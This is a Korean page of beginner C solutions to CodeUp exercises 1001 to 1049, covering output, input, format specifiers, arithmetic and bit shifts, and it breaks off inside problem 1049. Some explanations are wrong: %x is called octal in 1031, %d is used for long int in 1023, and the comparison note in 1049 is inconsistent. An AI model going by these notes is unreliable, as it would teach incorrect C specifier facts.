<h3 id="출력">출력</h3>
<p>Hello</p>
<h3 id="풀이">풀이</h3>
<p>출력함수를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1002--기초-출력-출력하기02설명">1002 : [기초-출력] 출력하기02(설명)</h2>
<h3 id="입력-1">입력</h3>
<p>입력 없음</p>
<h3 id="출력-1">출력</h3>
<p>Hello World</p>
<h3 id="풀이-1">풀이</h3>
<p>출력함수를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello World&quot;);

    return 0;
}
</code></pre><blockquote>
</blockquote>
<h2 id="1003--기초-출력-출력하기03설명">1003 : [기초-출력] 출력하기03(설명)</h2>
<h3 id="입력-2">입력</h3>
<p>입력 없음</p>
<h3 id="출력-2">출력</h3>
<p>Hello
World</p>
<h3 id="풀이-2">풀이</h3>
<p>이스케이프 시퀸스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello\nWorld&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1004--기초-출력-출력하기04설명">1004 : [기초-출력] 출력하기04(설명)</h2>
<h3 id="입력-3">입력</h3>
<p>입력 없음</p>
<h3 id="출력-3">출력</h3>
<p>&#39;Hello&#39;</p>
<h3 id="풀이-3">풀이</h3>
<p>이스케이프 시퀸스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&#39;Hello\&#39;&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1005--기초-출력-출력하기05설명">1005 : [기초-출력] 출력하기05(설명)</h2>
<h3 id="입력-4">입력</h3>
<p>입력 없음</p>
<h3 id="출력-4">출력</h3>
<p>&quot;Hello World&quot;</p>
<h3 id="풀이-4">풀이</h3>
<p>이스케이프 시퀀스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&quot;Hello World\&quot;&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1006--기초-출력-출력하기06설명">1006 : [기초-출력] 출력하기06(설명)</h2>
<h3 id="입력-5">입력</h3>
<p>입력 없음</p>
<h3 id="출력-5">출력</h3>
<p>&quot;!@#$%^&amp;*()&quot;</p>
<h3 id="풀이-5">풀이</h3>
<p>이스케이프 시퀀스를 이용하여 특수부호들을 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&quot;!@#$%%^&amp;*()\&quot;&quot;);

    return 0;
}
</code></pre><blockquote>
</blockquote>
<h2 id="1007--기초-출력-출력하기07설명">1007 : [기초-출력] 출력하기07(설명)</h2>
<h3 id="입력-6">입력</h3>
<p>입력 없음</p>
<h3 id="출력-6">출력</h3>
<p>&quot;C:\Download\hello.cpp&quot;</p>
<h3 id="풀이-6">풀이</h3>
<p>이스케이프 시퀀스를 이용하여 주어진 문장 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\&quot;C:\\Download\\hello.cpp\&quot;&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1008--기초-출력-출력하기08설명">1008 : [기초-출력] 출력하기08(설명)</h2>
<h3 id="입력-7">입력</h3>
<p>입력 없음</p>
<h3 id="출력-7">출력</h3>
<p>┌┬┐
├┼┤
└┴┘</p>
<h3 id="풀이-7">풀이</h3>
<p>유니코드를 이용하여 주어진 모양 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;\u250C\u252C\u2510\n&quot;);
    printf(&quot;\u251C\u253C\u2524\n&quot;);
    printf(&quot;\u2514\u2534\u2518\n&quot;);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1010--기초-입출력-정수-1개-입력받아-그대로-출력하기설명">1010 : [기초-입출력] 정수 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-8">입력</h3>
<p>15</p>
<h3 id="출력-8">출력</h3>
<p>15</p>
<h3 id="풀이-8">풀이</h3>
<p>입력함수를 이용하여 정수를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int n;
    scanf(&quot;%d&quot;, &amp;n);
    printf(&quot;%d&quot;, n);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1011--기초-입출력-문자-1개-입력받아-그대로-출력하기설명">1011 : [기초-입출력] 문자 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-9">입력</h3>
<p>p</p>
<h3 id="출력-9">출력</h3>
<p>p</p>
<h3 id="풀이-9">풀이</h3>
<p>입력함수를 이용하여 문자를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    char x;
    scanf(&quot;%c&quot;, &amp;x);
    printf(&quot;%c&quot;, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1012--기초-입출력-실수-1개-입력받아-그대로-출력하기설명">1012 : [기초-입출력] 실수 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-10">입력</h3>
<p>1.414213</p>
<h3 id="출력-10">출력</h3>
<p>1.414213</p>
<h3 id="풀이-10">풀이</h3>
<p>입력함수를 이용하여 실수를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    float x;
    scanf(&quot;%f&quot;, &amp;x);
    printf(&quot;%f&quot;, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1013--기초-입출력-정수-2개-입력받아-그대로-출력하기설명">1013 : [기초-입출력] 정수 2개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-11">입력</h3>
<p>1 2</p>
<h3 id="출력-11">출력</h3>
<p>1 2</p>
<h3 id="풀이-11">풀이</h3>
<p>입력함수를 이용하여 2개의 정수를 입력받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);
    printf(&quot;%d %d&quot;, a, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1014--기초-입출력-문자-2개-입력받아-순서-바꿔-출력하기설명">1014 : [기초-입출력] 문자 2개 입력받아 순서 바꿔 출력하기(설명)</h2>
<h3 id="입력-12">입력</h3>
<p>A b</p>
<h3 id="출력-12">출력</h3>
<p>b A</p>
<h3 id="풀이-12">풀이</h3>
<p>입력함수를 이용하여 2개의 문자를 입력받고, 출력함수에서 순서를 바꿔서 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    char x, y;
    scanf(&quot;%c %c&quot;, &amp;x, &amp;y);

    printf(&quot;%c %c&quot;, y, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1015--기초-입출력-실수-입력받아-둘째-자리까지-출력하기설명">1015 : [기초-입출력] 실수 입력받아 둘째 자리까지 출력하기(설명)</h2>
<h3 id="입력-13">입력</h3>
<p>1.59254</p>
<h3 id="출력-13">출력</h3>
<p>1.59</p>
<h3 id="풀이-13">풀이</h3>
<p>float형을 지정된 값까지만 불러오도록 지정하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    float x;
    scanf(&quot;%f&quot;, &amp;x);
    printf(&quot;%.2f&quot;, x);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1017--기초-입출력-정수-1개-입력받아-3번-출력하기설명">1017 : [기초-입출력] 정수 1개 입력받아 3번 출력하기(설명)</h2>
<h3 id="입력-14">입력</h3>
<p>125</p>
<h3 id="출력-14">출력</h3>
<p>125 125 125</p>
<h3 id="풀이-14">풀이</h3>
<p>출력함수를 이용하여 변수 &#39;a&#39;를 3번 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d %d %d&quot;, a, a, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1018--기초-입출력-시간-입력받아-그대로-출력하기설명">1018 : [기초-입출력] 시간 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-15">입력</h3>
<p>3:16</p>
<h3 id="출력-15">출력</h3>
<p>3:16</p>
<h3 id="풀이-15">풀이</h3>
<p>두 정수를 &#39;:&#39;로 구분하여 입력받고, 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int h, m;
    scanf(&quot;%d:%d&quot;, &amp;h, &amp;m);
    printf(&quot;%d:%d&quot;, h, m);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1019--기초-입출력-연월일-입력받아-그대로-출력하기">1019 : [기초-입출력] 연월일 입력받아 그대로 출력하기</h2>
<h3 id="입력-16">입력</h3>
<p>2013.8.5</p>
<h3 id="출력-16">출력</h3>
<p>2013.08.05</p>
<h3 id="풀이-16">풀이</h3>
<p>%0n을 통해 채워지지 않은 자리에 0을 채워서 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int y, m, d;
    scanf(&quot;%d.%d.%d&quot;, &amp;y, &amp;m, &amp;d);

    printf(&quot;%04d.%02d.%02d&quot;, y, m, d);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1020--기초-입출력-주민번호-입력받아-형태-바꿔-출력하기">1020 : [기초-입출력] 주민번호 입력받아 형태 바꿔 출력하기</h2>
<h3 id="입력-17">입력</h3>
<p>000907-1121112</p>
<h3 id="출력-17">출력</h3>
<p>0009071121112</p>
<h3 id="풀이-17">풀이</h3>
<p>%0n을 통해 채워지지 않은 자리에 0을 채워서 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int a, b;
    scanf(&quot;%ld-%ld&quot;, &amp;a, &amp;b);

    printf(&quot;%06ld%07ld&quot;, a, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1021--기초-입출력-단어-1개-입력받아-그대로-출력하기설명">1021 : [기초-입출력] 단어 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-18">입력</h3>
<p>Informatics</p>
<h3 id="출력-18">출력</h3>
<p>Informatics</p>
<h3 id="풀이-18">풀이</h3>
<p>크기를 지정하여 문자열을 선언 후, 입력함수로 값을 받고 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char s[51] = &quot; &quot;;
    scanf(&quot;%s&quot;, s);

    printf(&quot;%s&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1022--기초-입출력-문장-1개-입력받아-그대로-출력하기설명">1022 : [기초-입출력] 문장 1개 입력받아 그대로 출력하기(설명)</h2>
<h3 id="입력-19">입력</h3>
<p>Programming is very fun!!</p>
<h3 id="출력-19">출력</h3>
<p>Programming is very fun!!</p>
<h3 id="풀이-19">풀이</h3>
<p>크기를 지정하여 문자열을 선언 후, 입력함수로 값을받고 출력</p>
<blockquote>
</blockquote>
<p>fgets() 와 scanf() 의 차이점
fgets() - <strong>공백 포함 가능</strong>
scanf() - <strong>공백 포함 불가능</strong></p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char s[2001];
    fgets(s, 2000, stdin);

    printf(&quot;%s&quot;, s);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1023--기초-입출력-실수-1개-입력받아-부분별로-출력하기설명">1023 : [기초-입출력] 실수 1개 입력받아 부분별로 출력하기(설명)</h2>
<h3 id="입력-20">입력</h3>
<p>1.414213</p>
<h3 id="출력-20">출력</h3>
<p>1
414213</p>
<h3 id="풀이-20">풀이</h3>
<p>&#39;.&#39; 을 기준으로 다른 변수로 입력받고, 이스케이프 시퀸스를 이용하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int a, b;
    scanf(&quot;%d.%d&quot;, &amp;a, &amp;b);

    printf(&quot;%d\n%d&quot;, a, b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1024--기초-입출력-단어-1개-입력받아-나누어-출력하기설명">1024 : [기초-입출력] 단어 1개 입력받아 나누어 출력하기(설명)</h2>
<h3 id="입력-21">입력</h3>
<p>Boy</p>
<h3 id="출력-21">출력</h3>
<p>&#39;B&#39;
&#39;o&#39;
&#39;y&#39;</p>
<h3 id="풀이-21">풀이</h3>
<p>문자열 인덱스를 이용하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char d[30];
    scanf(&quot;%s&quot;, d);
    for(int i = 0; d[i] != &#39;\0&#39;; i++)
    {
        printf(&quot;\&#39;%c\&#39;\n&quot;, d[i]);
    }

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1025--기초-입출력-정수-1개-입력받아-나누어-출력하기설명">1025 : [기초-입출력] 정수 1개 입력받아 나누어 출력하기(설명)</h2>
<h3 id="입력-22">입력</h3>
<p>75254</p>
<h3 id="출력-22">출력</h3>
<p>[70000]\n
[5000]\n
[200]\n
[50]\n
[4]</p>
<h3 id="풀이-22">풀이</h3>
<p>&#39;1d&#39;를 이용해 각각의 변수에 정수를 할당한 후, 각 자리의 값의 크기를 출력</p>
<blockquote>
</blockquote>
<p>`nd&#39; - n개의 정수값을 입 / 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int a, b, c, d, e;
    scanf(&quot;%1d%1d%1d%1d%1d&quot;, &amp;a, &amp;b, &amp;c, &amp;d, &amp;e);

    printf(&quot;[%d]\n&quot;, a*10000);
    printf(&quot;[%d]\n&quot;, b*1000);
    printf(&quot;[%d]\n&quot;, c*100);
    printf(&quot;[%d]\n&quot;, d*10);
    printf(&quot;[%d]\n&quot;, e*1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1026--기초-입출력-시분초-입력받아-분만-출력하기설명">1026 : [기초-입출력] 시분초 입력받아 분만 출력하기(설명)</h2>
<h3 id="입력-23">입력</h3>
<p>17:23:57</p>
<h3 id="출력-23">출력</h3>
<p>23</p>
<h3 id="풀이-23">풀이</h3>
<p>&#39;:&#39; 를 기준으로 나누어서 각각의 변수의 할당한 후, 분만 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int h, m, s;
    scanf(&quot;%d:%d:%d&quot;, &amp;h, &amp;m, &amp;s);
    printf(&quot;%d&quot;, m);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1027--기초-입출력-년월일-입력-받아-형식-바꿔-출력하기설명">1027 : [기초-입출력] 년월일 입력 받아 형식 바꿔 출력하기(설명)</h2>
<h3 id="입력-24">입력</h3>
<p>2014.07.15</p>
<h3 id="출력-24">출력</h3>
<p>15-07-2014 </p>
<h3 id="풀이-24">풀이</h3>
<p>&#39;.&#39; 을 기준으로 나누어 각각의 변수에 할당 후, 출력 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int y, m, d;
    scanf(&quot;%d.%d.%d&quot;, &amp;y, &amp;m, &amp;d);
    printf(&quot;%02d-%02d-%04d&quot;, d, m, y);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1028--기초-데이터형-정수-1개-입력받아-그대로-출력하기2설명">1028 : [기초-데이터형] 정수 1개 입력받아 그대로 출력하기2(설명)</h2>
<h3 id="입력-25">입력</h3>
<p>2147483648</p>
<h3 id="출력-25">출력</h3>
<p>2147483648</p>
<h3 id="풀이-25">풀이</h3>
<p>unsigned int형의 변수에 값을 할당받고 출력</p>
<blockquote>
</blockquote>
<p>unsigned int형 - int형보다 더 넓은 범위의 자연수를 할당 가능
%d - int형
%u - unsigned int형</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    unsigned int n;
    scanf(&quot;%u&quot;, &amp;n);
    printf(&quot;%u&quot;, n);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1029--기초-데이터형-실수-1개-입력받아-그대로-출력하기2설명">1029 : [기초-데이터형] 실수 1개 입력받아 그대로 출력하기2(설명)</h2>
<h3 id="입력-26">입력</h3>
<p>3.14159265359</p>
<h3 id="출력-26">출력</h3>
<p>3.14159265359</p>
<h3 id="풀이-26">풀이</h3>
<p>double형의 변수에 값을 할당받고 출력</p>
<blockquote>
</blockquote>
<p>double형 - float형보다 더 넓은 범위의 실수를 할당 가능
%f - float형
%lf - double형</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    double d;
    scanf(&quot;%lf&quot;, &amp;d);
    printf(&quot;%.11f&quot;, d);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1030--기초-데이터형-정수-1개-입력받아-그대로-출력하기3설명">1030 : [기초-데이터형] 정수 1개 입력받아 그대로 출력하기3(설명)</h2>
<h3 id="입력-27">입력</h3>
<p>-2147483649</p>
<h3 id="출력-27">출력</h3>
<p>-2147483649</p>
<h3 id="풀이-27">풀이</h3>
<p>long long int형의 변수에 값을 할당받고 출력</p>
<blockquote>
</blockquote>
<p>long long int형 - int형보다 더 넓은 범위의 자연수를 할당 가능
%d - int형
%lld - long long int형</p>
<pre><code>#include &lt;stdio.h&gt;
int main(){
    long long int n;
    scanf(&quot;%lld&quot;, &amp;n);
    printf(&quot;%lld&quot;, n);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1031--기초-출력변환-10진-정수-1개-입력받아-8진수로-출력하기설명">1031 : [기초-출력변환] 10진 정수 1개 입력받아 8진수로 출력하기(설명)</h2>
<h3 id="입력-28">입력</h3>
<p>10</p>
<h3 id="출력-28">출력</h3>
<p>12</p>
<h3 id="풀이-28">풀이</h3>
<p>10진수를 입력받아 8진수로 출력</p>
<blockquote>
</blockquote>
<p>%d - 10진수
%x - 8진수</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%o&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1032--기초-출력변환-10진-정수-입력받아-16진수로-출력하기1설명">1032 : [기초-출력변환] 10진 정수 입력받아 16진수로 출력하기1(설명)</h2>
<h3 id="입력-29">입력</h3>
<p>255</p>
<h3 id="출력-29">출력</h3>
<p>ff</p>
<h3 id="풀이-29">풀이</h3>
<p>10진수를 입력받아 16진수(소문자)로 출력</p>
<blockquote>
</blockquote>
<p>%d - 10진수
%x - 16진수(소문자)</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%x&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1033--기초-출력변환-10진-정수-입력받아-16진수로-출력하기2설명">1033 : [기초-출력변환] 10진 정수 입력받아 16진수로 출력하기2(설명)</h2>
<h3 id="입력-30">입력</h3>
<p>255</p>
<h3 id="출력-30">출력</h3>
<p>FF</p>
<h3 id="풀이-30">풀이</h3>
<p>10진수를 입력받아 16진수(대문자)로 출력</p>
<blockquote>
</blockquote>
<p>%d - 10진수
%X - 16진수(대문자)</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%X&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1034--기초-출력변환-8진-정수-1개-입력받아-10진수로-출력하기설명">1034 : [기초-출력변환] 8진 정수 1개 입력받아 10진수로 출력하기(설명)</h2>
<h3 id="입력-31">입력</h3>
<p>13</p>
<h3 id="출력-31">출력</h3>
<p>11</p>
<h3 id="풀이-31">풀이</h3>
<p>8진수를 입력받아 10진수로 출력</p>
<blockquote>
</blockquote>
<p>%o - 8진수
%d - 10진수</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%o&quot;, &amp;a);

    printf(&quot;%d&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1035--기초-출력변환-16진-정수-1개-입력받아-8진수로-출력하기설명">1035 : [기초-출력변환] 16진 정수 1개 입력받아 8진수로 출력하기(설명)</h2>
<h3 id="입력-32">입력</h3>
<p>f</p>
<h3 id="출력-32">출력</h3>
<p>17</p>
<h3 id="풀이-32">풀이</h3>
<p>16진수를 입력받아 8진수로 출력</p>
<blockquote>
</blockquote>
<p>%x - 16진수
%o - 8진수</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    int a;
    scanf(&quot;%x&quot;, &amp;a);

    printf(&quot;%o&quot;, a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1036--기초-출력변환-영문자-1개-입력받아-10진수로-출력하기설명">1036 : [기초-출력변환] 영문자 1개 입력받아 10진수로 출력하기(설명)</h2>
<h3 id="입력-33">입력</h3>
<p>A</p>
<h3 id="출력-33">출력</h3>
<p>65</p>
<h3 id="풀이-33">풀이</h3>
<p>문자를 입력받고, 고유 아스키코드값을 이용하여 정수로 출력</p>
<blockquote>
</blockquote>
<p>getchar() - 문자 한 개를 입력받는 함수</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;

    c = getchar();

    printf(&quot;%d&quot;, c);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1037--기초-출력변환-정수-입력받아-아스키-문자로-출력하기">1037 : [기초-출력변환] 정수 입력받아 아스키 문자로 출력하기</h2>
<h3 id="입력-34">입력</h3>
<p>65</p>
<h3 id="출력-34">출력</h3>
<p>A</p>
<h3 id="풀이-34">풀이</h3>
<p>정수를 입력받고, 고유 아스키코드값을 이용하여 문자로 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int d;

    scanf(&quot;%d&quot;, &amp;d);

    printf(&quot;%c&quot;, d);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1038--기초-산술연산-정수-2개-입력받아-합-출력하기1설명">1038 : [기초-산술연산] 정수 2개 입력받아 합 출력하기1(설명)</h2>
<h3 id="입력-35">입력</h3>
<p>123 -123</p>
<h3 id="출력-35">출력</h3>
<p>0</p>
<h3 id="풀이-35">풀이</h3>
<p>정수 2개를 입력받고, 더한 값을 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long int x, y;

    scanf(&quot;%ld %ld&quot;, &amp;x, &amp;y);

    printf(&quot;%ld&quot;, x+y);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1039--기초-산술연산-정수-2개-입력받아-합-출력하기2설명">1039 : [기초-산술연산] 정수 2개 입력받아 합 출력하기2(설명)</h2>
<h3 id="입력-36">입력</h3>
<p>2147483648 2147483648</p>
<h3 id="출력-36">출력</h3>
<p>4294967296</p>
<h3 id="풀이-36">풀이</h3>
<p>정수 2개를 입력받고, 더한 값을 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long long int x, y;

    scanf(&quot;%lld %lld&quot;, &amp;x, &amp;y);

    printf(&quot;%lld&quot;, x+y);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1040--기초-산술연산-정수-1개-입력받아-부호-바꿔-출력하기설명">1040 : [기초-산술연산] 정수 1개 입력받아 부호 바꿔 출력하기(설명)</h2>
<h3 id="입력-37">입력</h3>
<p>-1</p>
<h3 id="출력-37">출력</h3>
<p>1</p>
<h3 id="풀이-37">풀이</h3>
<p>정수를 입력받아 &#39;-&#39;를 곱하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, -a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1041--기초-산술연산-문자-1개-입력받아-다음-문자-출력하기설명">1041 : [기초-산술연산] 문자 1개 입력받아 다음 문자 출력하기(설명)</h2>
<h3 id="입력-38">입력</h3>
<p>a</p>
<h3 id="출력-38">출력</h3>
<p>b</p>
<h3 id="풀이-38">풀이</h3>
<p>고유 아스키코드값에 +1을 하여 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    char c;

    c = getchar();

    printf(&quot;%c&quot;, c+1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1042--기초-산술연산-정수-2개-입력받아-나눈-몫-출력하기설명">1042 : [기초-산술연산] 정수 2개 입력받아 나눈 몫 출력하기(설명)</h2>
<h3 id="입력-39">입력</h3>
<p>1 3</p>
<h3 id="출력-39">출력</h3>
<p>0</p>
<h3 id="풀이-39">풀이</h3>
<p>연산자 &#39;/&#39;를 사용하여 몫 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a/b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1043--기초-산술연산-정수-2개-입력받아-나눈-나머지-출력하기설명">1043 : [기초-산술연산] 정수 2개 입력받아 나눈 나머지 출력하기(설명)</h2>
<h3 id="입력-40">입력</h3>
<p>10 3</p>
<h3 id="출력-40">출력</h3>
<p>1</p>
<h3 id="풀이-40">풀이</h3>
<p>연산자 &#39;%&#39;를 사용하여 나머지 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a%b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1044--기초-산술연산-정수-1개-입력받아-1-더해-출력하기설명">1044 : [기초-산술연산] 정수 1개 입력받아 1 더해 출력하기(설명)</h2>
<h3 id="입력-41">입력</h3>
<p>2147483647</p>
<h3 id="출력-41">출력</h3>
<p>2147483648</p>
<h3 id="풀이-41">풀이</h3>
<p>long long int형을 이용하여 변수 &#39;a&#39;에 1을 더한 후, 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    long long int a;
    scanf(&quot;%lld&quot;, &amp;a);

    printf(&quot;%lld&quot;, ++a);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1045--기초-산술연산-정수-2개-입력받아-자동-계산하기">1045 : [기초-산술연산] 정수 2개 입력받아 자동 계산하기</h2>
<h3 id="입력-42">입력</h3>
<p>10 3</p>
<h3 id="출력-42">출력</h3>
<p>13
7
30
3
1
3.33</p>
<h3 id="풀이-42">풀이</h3>
<p>연산자 &#39;+&#39;, &#39;-&#39;, &#39;*&#39;, &#39;/&#39;, &#39;%&#39;를 이용하여 출력 형식에 맞게 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d\n&quot;, a+b);
    printf(&quot;%d\n&quot;, a-b);
    printf(&quot;%d\n&quot;, a*b);
    printf(&quot;%d\n&quot;, a/b);
    printf(&quot;%d\n&quot;, a%b);
    printf(&quot;%.2f&quot;, (float)a/b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1046--기초-산술연산-정수-3개-입력받아-합과-평균-출력하기">1046 : [기초-산술연산] 정수 3개 입력받아 합과 평균 출력하기</h2>
<h3 id="입력-43">입력</h3>
<p>1 2 3</p>
<h3 id="출력-43">출력</h3>
<p>6
2.0</p>
<h3 id="풀이-43">풀이</h3>
<p>연산자를 이용하여 세 수의 합과 평균을 출력 </p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b, c;
    scanf(&quot;%d %d %d&quot;, &amp;a, &amp;b, &amp;c);

    printf(&quot;%d\n&quot;, a+b+c);
    printf(&quot;%.1f\n&quot;, (float)(a+b+c)/3);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1047--기초-비트시프트연산-정수-1개-입력받아-2배-곱해-출력하기설명">1047 : [기초-비트시프트연산] 정수 1개 입력받아 2배 곱해 출력하기(설명)</h2>
<h3 id="입력-44">입력</h3>
<p>1024</p>
<h3 id="출력-44">출력</h3>
<p>2048</p>
<h3 id="풀이-44">풀이</h3>
<p>비트시프트 연산을 통해 입력받은 정수를 2배 한 정수를 출력</p>
<blockquote>
</blockquote>
<p>printf(&quot;%d&quot;, a&lt;&lt;1); // 10을 2배 한 값인 20 이 출력
printf(&quot;%d&quot;, a&gt;&gt;1); // 10을 반으로 나눈 값인 5 가 출력
printf(&quot;%d&quot;, a&lt;&lt;2); // 10을 4배 한 값인 40 이 출력
printf(&quot;%d&quot;, a&gt;&gt;2); // 10을 반으로 나눈 후 다시 반으로 나눈 값인 2 가 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a;
    scanf(&quot;%d&quot;, &amp;a);

    printf(&quot;%d&quot;, a &lt;&lt; 1);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1048--기초-비트시프트연산-한-번에-2의-거듭제곱-배로-출력하기설명">1048 : [기초-비트시프트연산] 한 번에 2의 거듭제곱 배로 출력하기(설명)</h2>
<h3 id="입력-45">입력</h3>
<p>1 3</p>
<h3 id="출력-45">출력</h3>
<p>8</p>
<h3 id="풀이-45">풀이</h3>
<p>비트시프트 연산을 통해 입력받은 정수를 2배 한 정수를 출력</p>
<blockquote>
</blockquote>
<p>printf(&quot;%d&quot;, 1 &lt;&lt; 3); // 1 * 2 * 2 * 2가 출력</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &lt;&lt; b);

    return 0;
}</code></pre><blockquote>
</blockquote>
<h2 id="1049--기초-비교연산-두-정수-입력받아-비교하기1설명">1049 : [기초-비교연산] 두 정수 입력받아 비교하기1(설명)</h2>
<h3 id="입력-46">입력</h3>
<p>9 1</p>
<h3 id="출력-46">출력</h3>
<p>1</p>
<h3 id="풀이-46">풀이</h3>
<p>입력받은 두 정수를 대소비교하여 첫 번째 입력값이 더 크면 1을 출력</p>
<blockquote>
</blockquote>
<p>&lt; : 오른쪽값이 왼쪽값보디 크면 1, 아니면 0</p>
<pre><code>#include &lt;stdio.h&gt;

int main() {
    int a, b;
    scanf(&quot;%d %d&quot;, &amp;a, &amp;b);

    printf(&quot;%d&quot;, a &gt; b);

